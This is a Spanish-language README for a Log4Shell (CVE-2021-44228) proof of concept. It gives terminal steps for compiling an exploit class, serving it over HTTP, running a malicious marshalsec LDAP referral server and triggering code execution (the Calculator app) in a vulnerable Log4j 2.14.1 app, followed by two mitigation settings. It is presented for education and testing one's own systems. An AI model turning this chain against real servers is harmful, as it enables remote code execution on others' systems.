
CVE-2021-44228 (Log4Shell) Prueba de concepto

Las funciones JNDI de Apache Log4j2 <=2.14.1 utilizadas en la configuración, los mensajes de registro y los parámetros no protegen contra LDAP controlado por el atacante y otros endpoints relacionados con JNDI. Un atacante que pueda controlar los mensajes de registro o los parámetros de los mensajes de registro puede ejecutar código arbitrario cargado desde servidores LDAP cuando la sustitución de búsqueda de mensajes está habilitada.
Para ayudar a los clientes a entender cómo funciona esta falla, hemos preparado este repositorio con una prueba de concepto simple pero funcional.
Tener instalado localmente:
Por el momento, el código arbitrario lanza la aplicación Calculadora en macOS o Windows, por lo que solo estos dos sistemas operativos son compatibles con este PoC.
Toda la información y el código se proporcionan únicamente con fines educativos y/o para probar sus propios sistemas en busca de esta vulnerabilidad.
Este PoC se asemeja a lo descrito en la imagen de abajo (créditos GovCERT.ch), a excepción del servidor vulnerable, que es solo una clase Java simple para mayor simplicidad. Es importante entender que esta vulnerabilidad puede ser desencadenada de varias formas; lo que se describe a continuación es solo una de ellas.

Clona este repositorio
terminal1 $ git clone https://github.com/sunnyvale-it/CVE-2021-44228-PoC.git
Compila el exploit (usando JDK 11)
terminal1 $ javac Exploit.java
Ejecuta un servidor HTTP para servir el exploit
terminal1 $ python -m SimpleHTTPServer 8888 --directory .
Inicia el LDAPRefServer malicioso (gracias a https://github.com/mbechler/marshalsec)
terminal2 $ java -cp tools/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
Lanza la aplicación defectuosa (que contiene log4j 2.14.1)
terminal3 $ mvn package && mvn exec:exec
Si todo salió bien, la aplicación Calculadora (ejecución de código arbitrario) debería aparecer

terminal3 $ export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
terminal3 $ mvn package && mvn exec:exec
En este caso, la Calculadora ya no debería aparecer
terminal3 $ mvn package && mvn exec:exec -Dlog4j2.formatMsgNoLookups=true
En este caso, la Calculadora ya no debería aparecer